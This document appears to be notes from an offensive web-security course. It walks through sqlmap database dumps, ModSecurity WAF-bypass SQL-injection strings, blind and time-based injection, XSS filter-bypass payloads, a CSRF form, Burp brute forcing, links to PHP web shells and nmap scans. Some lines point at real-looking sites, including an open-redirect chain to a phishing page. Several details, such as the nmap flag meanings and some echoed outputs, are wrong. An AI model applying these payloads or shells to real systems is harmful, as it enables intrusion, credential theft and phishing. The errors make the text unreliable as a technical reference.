  1897. Stacked Query SQL Injection is the one which can execute by terminating the original query and adding a new one, it will be possible to modify data and call stored procedures like creating, deleting and modifying the Database with there entities. This technique is massively used in SQL injection attacks and understanding its principle is essential to a sound understanding of this security issue.
  1898.  
  1899. This can done by SQL Injection Automated Tools like “SQLMAP” etc.
  1900.  
  1901. SQLMAP --> Python based Command Line TOOL for automate sql injection
  1902. http://sqlmap.org/
  1903. Python 2.7 --> https://www.python.org/download/releases/2.7/
  1904. HAVIJ --> Illegal tool, GUI based
  1905.  
  1906.  
  1907. SQLMAP
  1908. ======
  1909. 1.
  1910. sqlmap.py
  1911. 2. To test if the website id up or not or if it is vulnerable or not
  1912. sqlmap.py -u https://www.xyz.com/seflgn/kjf.php?id=1
  1913. 3. To get the database ----> --dbs
  1914. sqlmap.py -u https://www.xyz.com/seflgn/kjf.php?id=1 --dbs
  1915.  
  1916. available databases [2]:
  1917. [*] acuart
  1918. [*] information_schema
  1919.  
  1920. 4. To get the tables
  1921. sqlmap.py -u https://www.xyz.com/seflgn/kjf.php?id=1 -D acuart --tables
  1922.  
  1923. Database: acuart
  1924. [8 tables]
  1925. +-----------+
  1926. | artists |
  1927. | carts |
  1928. | categ |
  1929. | featured |
  1930. | guestbook |
  1931. | pictures |
  1932. | products |
  1933. | users |
  1934. +-----------+
  1935.  
  1936. 5. To get the columns
  1937. sqlmap.py -u https://www.xyz.com/seflgn/kjf.php?id=1 -D acuart -T users --columns
  1938.  
  1939. Database: acuart
  1940. Table: users
  1941. [8 columns]
  1942. +---------+--------------+
  1943. | Column | Type |
  1944. +---------+--------------+
  1945. | address | mediumtext |
  1946. | cart | varchar(100) |
  1947. | cc | varchar(100) |
  1948. | email | varchar(100) |
  1949. | name | varchar(100) |
  1950. | pass | varchar(100) |
  1951. | phone | varchar(100) |
  1952. | uname | varchar(100) |
  1953. +---------+--------------+
  1954.  
  1955. 6. To dump the data from the columns
  1956. sqlmap.py -u https://www.xyz.com/seflgn/kjf.php?id=1 -D acuart -T users -C name,uname,pass --dump
  1957.  
  1958. Database: acuart
  1959. Table: users
  1960. [1 entry]
  1961. +------------+-------+------+
  1962. | name | uname | pass |
  1963. +------------+-------+------+
  1964. | John Smith | test | test |
  1965. +------------+-------+------+
  1966.  
  1967. HAVIJ
  1968. =====
  1969. GUI Based tool
  1970.  
  1971.  
  1972. Google Dorks
  1973. ============
  1974. Advance Google Searching Techniques
  1975. -----------------------------------
  1976. Google Hacking Database.
  1977.  
  1978. Arijit Singh
  1979.  
  1980. When ever we search anything on google, google seach enging shows us the data into 3 different colors.
  1981.  
  1982. Blue --> Headings --> Titles
  1983. Green -> Links and urls
  1984. Black -> Content
  1985.  
  1986. intitle: inception
  1987. inurl: inception
  1988. intext: inception
  1989.  
  1990. title--> movie
  1991. url --> inception
  1992. intitle:movie and inrul:inception
  1993.  
  1994. indexof:/inception
  1995.  
  1996. hacking filetype:pdf
  1997.  
  1998. SQL Injection Vulnerable Web Sites
  1999. ----------------------------------
  2000. inurl:php?id=
  2001.  
  2002. inurl:/view/viewer_index.shtml
  2003.  
  2004. Session 12
  2005. ==========
  2006. Introduction to Firewall
  2007. ------------------------
  2008. Firewall
  2009. --------
  2010. It is an extra security layer, which helps me securing our web application and web site. It acts as the middle layer between the data transmission of user and the server.
  2011. Firewall act as the filter. It filters the unwanted packets and malicious packets. Firewall works on the basis of signature and permutation and combination of queries which are transmitted by the user. Knowledgebase --> It acts just like database for signatures and combinations.
  2012.  
  2013. There are two types of firewall:
  2014. 1. Software Solution Firewall
  2015. 2. Hardware Solution Firewall
  2016.  
  2017. Software Solution Firewall
  2018. --------------------------
  2019. These are the softwares which are installed in the server.
  2020. Microsoft windows Firewall
  2021.  
  2022. Hardware Solution Firewall
  2023. --------------------------
  2024. They are the hardwares, which act as the man in the middle, and filters the packet which are malicious.
  2025. MOD Security
  2026.  
  2027. WAF --> Web Application Firewall
  2028. --------------------------------
  2029. MOD Security
  2030. ------------
  2031.  
  2032. Installation of Mod Security
  2033. ============================
  2034. Installing and configuring ModSecurity
  2035.  
  2036. Step 1: open terminal and type
  2037. $ apt-get update
  2038. $ apt-get upgrade
  2039. $ apt-get install apache2
  2040.  
  2041. Step 2: $ sudo apt-get install libapache2-modsecurity
  2042.  
  2043. Step 3: Now we need to place a modsecurity.conf configuration file into the /etc/modsecurity
  2044. $ sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
  2045. now open
  2046. $ sudo nano /etc/modsecurity/modsecurity.conf
  2047. Find this line:
  2048. SecRuleEngine DetectionOnly
  2049.  
  2050. and change it to:
  2051.  
  2052. SecRuleEngine On
  2053.  
  2054. Step 4: now check the apache2 log directory:
  2055. $ ls /var/log/apache2
  2056.  
  2057. You should see three files: access.log, error.log and other_vhosts_access.log.
  2058.  
  2059. Now restart the apache2 service and check this directory again
  2060. $ sudo service apache2 reload
  2061. $ ls /var/log/apache2
  2062. A new log called modsec_audit.log was created
  2063.  
  2064. Step 5: now check the modsecurity-crs direcotry
  2065. $ ls /usr/share/modsecurity-crs/
  2066. the directories: activated_rules, base_rules, experimental_rules and optional_rules
  2067.  
  2068. Step 6: for activate all of the rules in the base_rules and optional_rules directories so execute the following commands in a terminal:
  2069. $ cd /usr/share/modsecurity-crs/base_rules
  2070. $ for f in * ; do sudo ln -s /usr/share/modsecurity-crs/base_rules/$f /usr/share/modsecurity-crs/activated_rules/$f ; done
  2071.  
  2072. $ cd ..
  2073. $ cd optional_rules
  2074. $ cd /usr/share/modsecurity-crs/optional_rules
  2075. $ for f in * ; do sudo ln -s /usr/share/modsecurity-crs/optional_rules/$f /usr/share/modsecurity-crs/activated_rules/$f ; done
  2076.  
  2077. $ cd ..
  2078. $ cd experimental_rules
  2079. $ cd /usr/share/modsecurity-crs/experimental_rules
  2080. $ for f in * ; do sudo ln -s /usr/share/modsecurity-crs/experimental_rules/$f /usr/share/modsecurity-crs/activated_rules/$f ; done
  2081.  
  2082.  
  2083. Step 7: we need to tell apache where to find the activated rules. Open the /etc/apache2/mods-available/security2.conf file.
  2084. $ sudo nano /etc/apache2/mods-available/security2.conf
  2085.  
  2086. At the end of the file just before </IfModule> enter the following lines:
  2087. Include "/usr/share/modsecurity-crs/*.conf"
  2088. Include "/usr/share/modsecurity-crs/activated_rules/*.conf"
  2089. save it
  2090.  
  2091. Step 8: We must enable the headers module, this allows ModSecurity to control and modify the HTTP headers for both requests and responses.
  2092. $ sudo a2enmod headers
  2093. Now restart apache:
  2094. $ sudo service apache2 restart
  2095.  
  2096.  
  2097. cd /etc/apache2/sites-available
  2098. ls ---> 000-default.conf
  2099. sudo nano 000-default.conf
  2100. edit
  2101. ProxyPass --> Web application IP
  2102. ProxyPassReverse --> Web application IP
  2103. save and exit
  2104. sudo service apache2 restart
  2105.  
  2106. Bypassing MOD_SECURITY
  2107. ======================
  2108.  
  2109. union select 1,2--+
  2110. Block
  2111. Mix Cases
  2112. UnIoN SeLeCt 1,2--+
  2113. Inline Executable Comments
  2114. /*!......*/
  2115. /*!UnIoN*/ /*!SeLeCt*/ 1,2--+
  2116. /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2--+
  2117. /*!UnIoN*/ /*!SeLeCt*/ 1,table_name from /*information_schema.tables*/--+
  2118.  
  2119.  
  2120. http://www.slightergolf.com
  2121.  
  2122. BLIND SQL INJECTION
  2123. ===================
  2124. Blind SQL injection is a type of sql injection attack that ask the database true or false questions and determine the answer based on the application response. This attack is often used when the web application is configured to show generic error message, but has not mitigated the code that is vulnerable to SQLi. This type of sql injection is identical to normal sql injection, the only is the data retreived from the database.
  2125. 1. Blind Boolean
  2126. 2. Time Based SQL Injection
  2127.  
  2128. http://newsletter.com/items.php?id=2
  2129. ------------------------------------
  2130. select title,description from items where id=2
  2131. ----------------------------------------------
  2132.  
  2133. http://newsletter.com/items.php?id=2 and 1=2
  2134.  
  2135. select title,description from items where id=2 and 1=2
  2136.  
  2137. Demo
  2138. ====
  2139. 1
  2140. 1'
  2141. 1' and 1=0 # ---> False --> Did not gave me data
  2142. 1' and 1=1 # ---> True --> It gave me data
  2143. 1' and 1=0 order by 1 # --> No Result ---> Generic error
  2144. 1' and 1=1 order by 1 # --> Result --> normal result
  2145. 1' and 1=0 order by 2 # --> No result
  2146. 1' and 1=1 order by 2 # ---> Result
  2147. 1' and 1=0 order by 3 # ---> No Result
  2148. 1' and 1=1 order by 3 # ---> No Result ---> True ---> there are 2 number of columns
  2149.  
  2150. 1' and 1=0 union select 1,2 #
  2151. ID: 1' and 1=0 union select 1,2 #
  2152. First name: 1
  2153. Surname: 2
  2154.  
  2155. 1' and 1=1 union select 1,2 #
  2156. ID: 1' and 1=1 union select 1,2 #
  2157. First name: admin
  2158. Surname: admin
  2159.  
  2160. ID: 1' and 1=1 union select 1,2 #
  2161. First name: 1
  2162. Surname: 2
  2163.  
  2164. 1' and 1=0 union select NULL,2 # --> nO dATA
  2165.  
  2166. 1' and 1=1 union select null,2 #---> Shows Data
  2167. ID: 1' and 1=1 union select null,2 #
  2168. First name: admin
  2169. Surname: admin
  2170.  
  2171. ID: 1' and 1=1 union select null,2 #
  2172. First name:
  2173. Surname: 2
  2174.  
  2175. 1' and 1=0 union select null,substr(@@version,1,1)=5 #
  2176. ID: 1' and 1=0 union select null,substr(@@version,1,1)=5 #
  2177. First name:
  2178. Surname: 0
  2179.  
  2180. 1' and 1=0 union select null,substr(@@version,1,1)=4 #
  2181. ID: 1' and 1=0 union select null,substr(@@version,1,1)=5 #
  2182. First name:
  2183. Surname: 0
  2184.  
  2185. 1' and 1=0 union select null,substr(@@version,1,1)=3 #
  2186. ID: 1' and 1=0 union select null,substr(@@version,1,1)=5 #
  2187. First name:
  2188. Surname: 0
  2189.  
  2190. 1' and 1=0 union select null,substr(@@version,1,1)=2 #
  2191. ID: 1' and 1=0 union select null,substr(@@version,1,1)=5 #
  2192. First name:
  2193. Surname: 0
  2194.  
  2195. 1' and 1=0 union select null,substr(@@version,1,1)=1 #
  2196. ID: 1' and 1=0 union select null,substr(@@version,1,1)=1 #
  2197. First name:
  2198. Surname: 1
  2199.  
  2200. 1' and 1=0 union select null,substr(@@version,2,1)=1 #
  2201. ID: 1' and 1=0 union select null,substr(@@version,1,1)=5 #
  2202. First name:
  2203. Surname: 0
  2204.  
  2205. 1' and 1=0 union select null,substr(@@version,2,1)=2 #
  2206. ID: 1' and 1=0 union select null,substr(@@version,1,1)=5 #
  2207. First name:
  2208. Surname: 0
  2209.  
  2210. 1' and 1=0 union select null,substr(@@version,2,1)=3 #
  2211. ID: 1' and 1=0 union select null,substr(@@version,1,1)=5 #
  2212. First name:
  2213. Surname: 0
  2214.  
  2215. 1' and 1=0 union select null,substr(@@version,2,1)=0 #
  2216. ID: 1' and 1=0 union select null,substr(@@version,1,1)=5 #
  2217. First name:
  2218. Surname: 1
  2219.  
  2220. 1' and 1=0 union select null, table_name from information_schema.tables #
  2221.  
  2222. 1' and 1=0 union select null, table_name from information_schema.tables where table_schema != 'information_schema' and table_schema != 'mysql' #
  2223.  
  2224.  
  2225. 10.1.25-MariaDB
  2226. substr(@@version,1,1) ----> 1
  2227. -
  2228. x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  2229.  
  2230. Session 13
  2231. ==========
  2232. Time Based SQL Injection
  2233. ========================
  2234. This type fo sql injection relies on the database pausing for a specific amount of time, when returning the results, indicating successful SQL Query execution.
  2235. sleep()
  2236. delay()
  2237. hibernate()
  2238. Basic syntax
  2239. select if(expression,true,false)
  2240.  
  2241. This type of SQL injection is sub type of Blind Based SQL Injection. This is considered to by our last resort.
  2242. sleep(3) --> sleep the database for 3 seconds and then give me result.
  2243.  
  2244. DEMO
  2245. ====
  2246. 1 --> result
  2247.  
  2248. 1' --> no result
  2249. Instantly reloading the page
  2250.  
  2251. 1' - sleep(3) #
  2252. ID: 1' - sleep(3) #
  2253. First name: admin
  2254. Surname: admin
  2255.  
  2256. 1' - if(mid(version(),1,1)='5', sleep(3),0) #
  2257. ID: 1' - if(mid(version(),1,1)='5', sleep(3),0) #
  2258. First name: admin
  2259. Surname: admin
  2260. This query will load the response Instantly.
  2261.  
  2262. 1' - if(mid(version(),1,1)='4', sleep(3),0) #
  2263. ID: 1' - if(mid(version(),1,1)='5', sleep(3),0) #
  2264. First name: admin
  2265. Surname: admin
  2266. This query will load the response Instantly.
  2267.  
  2268. 1' - if(mid(version(),1,1)='3', sleep(3),0) #
  2269. ID: 1' - if(mid(version(),1,1)='5', sleep(3),0) #
  2270. First name: admin
  2271. Surname: admin
  2272. This query will load the response Instantly.
  2273.  
  2274. 1' - if(mid(version(),1,1)='2', sleep(3),0) #
  2275. ID: 1' - if(mid(version(),1,1)='5', sleep(3),0) #
  2276. First name: admin
  2277. Surname: admin
  2278. This query will load the response Instantly.
  2279.  
  2280. 1' - if(mid(version(),1,1)='1', sleep(3),0) #
  2281. ID: 1' - if(mid(version(),1,1)='1', sleep(3),0) #
  2282. First name: admin
  2283. Surname: admin
  2284. This query will load the response after a delay of 3 seconds.
  2285. which means, that the first character of version is '1'
  2286.  
  2287. POST PARAMETER INJECTION
  2288. ========================
  2289. We will tamper the data, using third part application.
  2290. Burp Suite
  2291. Tamper Data
  2292.  
  2293. Arbitrary File Upload
  2294. =====================
  2295. When the web application askes you to input or upload some kind of document, but instead the person uploads some kind of malicious file. Like darkComet.exe, b374k.php
  2296. b374k.php ---> PHP Shell --> PHP Trojan
  2297. Connection from dark Comet ---> connection via a php code, server ka remote access.
  2298.  
  2299. https://pastebin.com/raw/KpNsxj0c
  2300. https://pastebin.com/raw/ATJE7VdZ
  2301.  
  2302. Tools To Automate VAPT
  2303. ======================
  2304. Accunetix --> https://www.acunetix.com/vulnerability-scanner/wvs-demo-requested/
  2305.  
  2306. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  2307.  
  2308. Session 14
  2309. ==========
  2310. Introduction To Burp Suite
  2311. --------------------------
  2312. Brute Forcing
  2313.  
  2314. Anand Prakash
  2315. =============
  2316. Hack Into any fb account
  2317. twitter account
  2318. OLA and Uber rides for free
  2319. Food For Free
  2320.  
  2321. www.facebook.com ---> wrong credentials ---> Forget Password --> OTP
  2322. 4 digits ---> 0000-9999 ---> 10,000 different number
  2323. 5 min
  2324. 5 wirng otp ---> block
  2325.  
  2326. m.facebook.com ---> forget password ---> OTP
  2327. Brute Forcing
  2328. Unlimited try
  2329.  
  2330. Burp Suite Download Link
  2331. https://portswigger.net/burp/communitydownload
  2332.  
  2333. I Will open the Brute Force Page of DVWA
  2334. Browser setting ---> proxy settings
  2335. 1. In the broser ---> goto settings ---> Options
  2336. 2. Goto Proxy ---> settings
  2337. 3. Tick Manual Proxy Configuration - Radio Button
  2338. 4. I will enter the IP Address and the port number
  2339. IP Address --> 127.0.0.1
  2340. Port NUmber --> 8080
  2341. 5. Tick --> Use proxy for all protocols
  2342. 6. No Proxy For ---> localhost, 127.0.0.1 ---> Delete It ---> click on ok
  2343. 7. I will start Burp Suite
  2344. ========================================================================
  2345. 8. Enter the credentials in the web page --> click on login
  2346. 9. Burp will glow ---> data in the burp has been intercepted
  2347. In burp ---> i can see the data inputed by the user.
  2348. 10. I will select all the data ----> right click ---> send to intruder
  2349. 11. Goto Intruder Tab ---> Position Tab
  2350. 12. Select all the data ---> clear all the makrups ---> click on clear button
  2351. 13. Select the user name and add the markup ---> by clicking ADD button
  2352. 14. Select the Password and add the markup ---> by clicking ADD button
  2353. Right Pane
  2354. 15. I will select the attacking type ---> By Default it is sniper, But i will change it to Cluster Bomb
  2355. 16. Nevigate to payload tab
  2356. 17. Add user name in the payload number 1
  2357. 18. Add password name in the payload number 2
  2358. 19. Nevigate to options tab
  2359. 20. grep match <-- Search this box
  2360. 21. Clear all the content inside grep match
  2361. 22. Paste the successful message in that box
  2362. Welcome to the password protected area admin
  2363.  
  2364.  
  2365.  
  2366. Welcome to the password protected area admin
  2367.  
  2368. Command Execution Vulnerability
  2369. ===============================
  2370. In many web applications, there are parameter, which ask for certain type of value. Instead of providing them the exact value, we make them to execute certain terminal commands
  2371. CMD
  2372. Linux --> Bash
  2373. | --> pipe function ---> output of first command will be the input of second command
  2374.  
  2375. File Inclusion Vulnerability
  2376. ============================
  2377. 1. Local File Inclusion Vulnerability
  2378. ../../
  2379. ../
  2380. 2. Remote File Inclusion Vulnerability
  2381.  
  2382. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  2383.  
  2384. Session 15
  2385. ==========
  2386. Introduction to java script
  2387. ===========================
  2388. Java --> Programming language ---> Used for making applications and softwares
  2389. Javascript --> It is a scripting language, which helps in running some kind of script on the web applications.
  2390.  
  2391. <script>
  2392.  
  2393. ......
  2394. ......
  2395. ......
  2396. ......
  2397. </script>
  2398.  
  2399.  
  2400. <html>
  2401. <head>
  2402. <title>Java Script</title>
  2403. </head>
  2404. <body>
  2405. <script>
  2406. alert("Hacked By Rishi Raj and Team");
  2407. </script>
  2408. </body>
  2409. </html>
  2410.  
  2411. 2 Number Addition
  2412. =================
  2413. html>
  2414. <head>
  2415. <title>Java Script</title>
  2416. </head>
  2417. <body>
  2418. <h1>Calculator</h1>
  2419. <form>
  2420. First Number :<input type="text" id="one"><br>
  2421. Second Number:<input type="text" id="two"><br>
  2422. <button onclick="addition()">Add</button>
  2423. </form>
  2424. </body>
  2425.  
  2426. <script>
  2427. function addition()
  2428. {
  2429. var onee = document.getElementById("one").value;
  2430. var twoo = document.getElementById("two").value;
  2431. var sum= +onee + +twoo;
  2432. alert(sum);
  2433. document.write(sum);
  2434. }
  2435. </script>
  2436.  
  2437. </html>
  2438.  
  2439. XSS --> Cross Site Scripting
  2440. ============================
  2441. In which the web application or the web site executes the html tags as the normal input and displays the data as that using htmls tags.
  2442.  
  2443. In this type of attack attacker can make the target to do what ever he wants to do. An attacker can craft a link and send it to the target, when the target will open the crafter link, then the malicious work of the attacker is carried out.
  2444.  
  2445. There are three types of XSS
  2446. ----------------------------
  2447. 1. Reflected XSS
  2448. 2. Stored XSS
  2449. 3. DOM Based XSS
  2450.  
  2451. 1. Reflected XSS
  2452. ================
  2453. In this type of xss, the attacker can attack a person one time using the crafted link. The attacker can inject the web application just once, then the malicious query will get away.
  2454.  
  2455. <h1>abhijeet</h1>
  2456. <script>alert("hacked")</script>
  2457. <script>alert(document.cookie)</script>
  2458. <iframe src="http://www.lucideus.com"></iframe>
  2459.  
  2460. <script>alert("hacked")</script>
  2461. <>alert("hacked")</script>
  2462.  
  2463. Bypass
  2464. ======
  2465. <script> ---> remove
  2466.  
  2467. <script type="text/javascript">alert("hacked")</script>
  2468. <ScRiPt>alert("hacked")</script>
  2469. <scr<script>ipt>alert("hacked")</script>
  2470. <scr<script>ipt>
  2471. <script>
  2472.  
  2473. 2. Stored XSS
  2474. =============
  2475. An attacker inputs the malicious javascript code into the entry point, and that malicious code is stored in the database. So whenever a user will go to that site of the web application, he will be a target of XSS. This malicious code will remain there in the database until and unless the database administrator does not remove it manually or resets the database.
  2476.  
  2477. Where We can try for stored XSS
  2478. ===============================
  2479. 1. Comments
  2480. 2. Messages
  2481. 3. FAQ
  2482. 4. Form
  2483. 5. RSS Feedback
  2484.  
  2485. 3. DOM Based XSS
  2486. ================
  2487. Documentary Object Model
  2488. In this type of xss, our data is not send to the server, but it is updated dynamically.
  2489. There are 3 entities which are vulnerable in DOM Based XSS
  2490. 1. document.url
  2491. 2. document.location
  2492. 3. document.referal
  2493.  
  2494. DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.
  2495.  
  2496. https://lucideustech.blogspot.com/2018/03/a-practical-guide-to-dom-based-xss.html
  2497.  
  2498.  
  2499. XSS Payloads
  2500. ============
  2501. <h1>abhijeet</h1>
  2502. <script>alert("hacked")</script>
  2503. <script>alert(document.cookie)</script>
  2504. <iframe src="http://www.lucideus.com"></iframe>
  2505. <input onfocus=javascript:alert(1) autofocus>
  2506.  
  2507.  
  2508. Cheat Sheet
  2509. ===========
  2510. https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45
  2511.  
  2512. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  2513.  
  2514. Session 16
  2515. ==========
  2516. CSRF --> Cross Site Request Forgery
  2517. ===================================
  2518. It is a client side attack, in which an attacker crafts a malicious link and sends to the target. Using that link the attacker can make the target to do his malicious intents. In this attack, the attacker does not get any kind of data.
  2519.  
  2520.  
  2521. Step 1--> Open the CSRF Vulnerable Website
  2522. Step 2--> Select the element
  2523. Step 3--> Right Click The selected element--->Inspect Code
  2524. Step 4--> Choose the whole form
  2525. Step 5--> Right Click --> Edit as HTML
  2526. Step 6--> Copy the whole code
  2527. Step 7--> Paste in notepad --> change the Action field
  2528. Step 8--> Save as .html file and send/upload the link
  2529.  
  2530. Demo
  2531. ====
  2532.  
  2533. <html>
  2534. <img src="https://i.ytimg.com/vi/i_FbQzQQQLI/maxresdefault.jpg">
  2535. <form action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET"> New password:<br>
  2536. <input autocomplete="off" name="password_new" type="password"><br>
  2537. Confirm new password: <br>
  2538. <input autocomplete="off" name="password_conf" type="password">
  2539. <br>
  2540. <input value="Change" name="Change" type="submit">
  2541. </form>
  2542. </html>
  2543.  
  2544. If my website or web application is on shared hosting server, then only it is possible.
  2545. yougetsignal.com
  2546.  
  2547. Missing Function Level Access Control
  2548. =====================================
  2549. Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization.
  2550.  
  2551. If there are n number of users
  2552. user 1 --> prashant ---> prashant.php
  2553. user 2 --> rudra -----> rudra.php
  2554. user 3 --> aranjit ---> aranjit.php
  2555. user 4 --> brijesh ----> brijesh.php
  2556.  
  2557. user 5 --> attacker --> Abhijeet ----> Abhijeet.php
  2558. Instead of Abhijeet.php, he will enter prashant.php and will get the access of Prashant's account, without any authentication.
  2559.  
  2560. oyorooms.com/user/asodf?id= abhijeet.php
  2561. abhishek.php
  2562. rahul.php
  2563. sanjeev.php
  2564. kartik.php
  2565. neha.php
  2566. admin.php
  2567.  
  2568. Invalidated Redirects and Forwards
  2569. ==================================
  2570. Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.
  2571.  
  2572. 127.0.0.1/skdv/redirectTo=welcome.php
  2573. phishingpage.com
  2574.  
  2575. https://www.tinies.com/redirectTo.php?u=http%3A%2F%2Fwww.sapnagroup.com
  2576.  
  2577.  
  2578. https://www.tinies.com/redirectTo.php?u=http://www.lucideus.com
  2579.  
  2580. https://lucideustest.000webhostapp.com/form.html
  2581. Phishing Page
  2582.  
  2583. https://www.tinies.com/redirectTo.php?u=https://lucideustest.000webhostapp.com/form.html
  2584.  
  2585. Tools To Automate VAPT
  2586. ======================
  2587. Netsparker
  2588.  
  2589. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  2590.  
  2591. Session 17
  2592. ==========
  2593. Linux Basics
  2594. ------------
  2595. Linux is derived from the word unix. Unix was the first OS. Unix was used by the government officials. And was not used by common man.
  2596. Unix Problems
  2597. -------------
  2598. 1. Gov. Officials
  2599. 2. If someone needs to operate, he/she needs to have complete knownledge of commands.
  2600.  
  2601. Linus Torvald
  2602. =============
  2603. He created linux OS. Kernel ---> deploy.
  2604. Open source. --> Any one can download, modify it and upload it. And can be used for our own purpose.
  2605.  
  2606. Kernel ---> Modify ---> Publish --> Copyright
  2607. Linux Kernel ----> Modify ----> Networking ----> Red Hat
  2608. Linux Kernel ----> Modify ----> Application Dev. ----> Fedora
  2609.  
  2610. Linux Kernel ----> GUI ---> User Friendly ----> Ubuntu ---> FoC
  2611.  
  2612. File Architecture
  2613. ------------------
  2614. There are pre defined folder with their pre defined functionalities.
  2615.  
  2616. 1. root --> /
  2617. 2. etc --> Configuration Folder
  2618. It containes all the configuration files
  2619. .conf
  2620. 3. bin --> binary folder
  2621. It contains all the binary file of the linux terminal commands.
  2622. 4. Proc --> Process Folder
  2623. It contains all the process files
  2624. up-time
  2625. time-stat
  2626. 5. Media --> Devices ---> storage Media
  2627. 6. VAR --> Variable Folder
  2628. Files jinka size static nahi hota. The size of the file keeps on increasing.
  2629. temp
  2630. log
  2631. mail
  2632. server
  2633. 7. dev --> Device Folder
  2634. ----> Devices which are currently used by the machine and the OS.
  2635. 8. Home ---> Users ---> contains all the user's data and files
  2636.  
  2637. Linux always treats everything as a file.
  2638.  
  2639. Some Basic Commands
  2640. ===================
  2641. cd---> change directory
  2642.  
  2643. ls---> list directory
  2644.  
  2645. man--> to get the manual of a command
  2646.  
  2647. mkdir--> to make a directory in linux
  2648.  
  2649. cp--> copy a file to another folder
  2650.  
  2651. mv---> move a file to another location
  2652.  
  2653. rm --> to remove a file only
  2654.  
  2655. rmdir---> remove directory
  2656.  
  2657. grep--> to check whether the work is in file or not
  2658.  
  2659. cat --> to read the contents of the file
  2660.  
  2661. locate --> to locate the specific file----> kisi bhi file ok dhundo
  2662.  
  2663. echo --> awaj kro... shor kro... aur btao... to print something on the terminal
  2664.  
  2665. date --> aaj k tareek vo bhi samay k sath.... for viewing the current date and time
  2666.  
  2667. cal --> ye apko pura ka pura calander khol k dedega pure month ka....
  2668.  
  2669. uname --> ye btata h tumko tumhare Linux system k vare m.....
  2670. uname -a --> ye dega sari information tumhare Linux System k jaise
  2671. 1. who is the user
  2672. 2. what is the version
  2673. 3. operating system konsa use kr rahe ho
  2674. 4. time
  2675. 5. date
  2676.  
  2677. jb sara kaam ho jaye.... to hum use krenge init 0----. for shutting down the device
  2678.  
  2679. Users and Group
  2680. ===============
  2681. group --> ek jaise users ko ek kamre me bnd kr dena----> colleting and grouping similar users in a group
  2682.  
  2683. -rw-r--r-- 1 root root 1031 Nov 18 09:22 /etc/passwd
  2684.  
  2685. The next three characters (rw-) define the owner’s permission to the file. In this example, the file owner has read and write permissions only. The next three characters (r--) are the permissions for the members of the same group as the file owner (which in this example is read only). The last three characters (r--) show the permissions for all other users and in this example it is read only.
  2686.  
  2687. chmod --> kisi bhi file k execution krne ka tareeka hm change kr sakte h.... ya hum set kr sakte h k is file ko konsa user chala sakta h ya use kr sakta h
  2688. iske bhi alag alag tareeke hote h
  2689.  
  2690. chmod 754 filename
  2691.  
  2692. 4 stands for "read",
  2693. 2 stands for "write",
  2694. 1 stands for "execute", and
  2695. 0 stands for "no permission."
  2696.  
  2697. So 7 is the combination of permissions 4+2+1 (read, write, and execute), 5 is 4+0+1 (read, no write, and execute), and 4 is 4+0+0 (read, no write, and no execute).
  2698.  
  2699.  
  2700. su --> to change user---> agr tum koi kaam khud se nahi krna chahte.... to tum ya to apne dost ko kahoge ya apne kisi bhai ko....
  2701.  
  2702.  
  2703. sudo --> super user do ---> papa se kuch kaam krne k liye kehena... jo beta nahi kehe sakta
  2704.  
  2705. sudo adduser <username>
  2706.  
  2707. Basic Networking
  2708. ================
  2709.  
  2710. ab sb kuch to set kr lia.... now i want to set an internet connection and see it's ip address and configuration... to me use karunga 'ifconfig'
  2711.  
  2712. ifconfig --> interface configuration
  2713. route -n
  2714. ping
  2715. traceroute
  2716. nslookup
  2717. netstat
  2718.  
  2719.  
  2720. crunch <min-length> <max-length>
  2721.  
  2722. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  2723.  
  2724. Session 18
  2725. ==========
  2726. Network Security
  2727. ----------------
  2728.  
  2729. Information Gathering ---> Network Based
  2730. ----------------------------------------
  2731. In this type of information gathering we prefer to gather the information about the network.
  2732. Number of connected device
  2733. IP Allocated
  2734. MAC Address
  2735. Host Name
  2736.  
  2737. 1. Normal Information Gathering
  2738. 2. Advance|Intelligent Information Gathering
  2739.  
  2740. 1. Normal Information Gathering
  2741. -------------------------------
  2742. In this type of information gathering, we just get the limited data,
  2743. IP Address
  2744. MAC Address
  2745. Vendor Name
  2746. netdiscover
  2747. netdiscover -r 192.168.228.1/24
  2748. arp-scan
  2749. arp-scan --local
  2750.  
  2751. 2. Advance|Intelligent Information Gathering
  2752. --------------------------------------------
  2753. In this type of information gathering, we get the information in the very granular way.
  2754. IP Addresses
  2755. Port number
  2756. Services
  2757. Service Version
  2758. OS
  2759. OS Version
  2760. nmap --> Network Maping and exploration tool
  2761. nmap 192.168.228.1-255
  2762. nmap 192.168.228.1/24
  2763. nmap 192.168.228.1-255 -sS -sC -sV
  2764. -sS ---> Service
  2765. -sC ---> More Details
  2766. -sV ---> Version
  2767.  
  2768. Network Attacks
  2769. ---------------
  2770. Free WiFi
  2771. --> CCD
  2772. --> Railway Station
  2773. --> Star Bucks
  2774. --> Costa Cafe
  2775. --> Barista
  2776. --> Subway
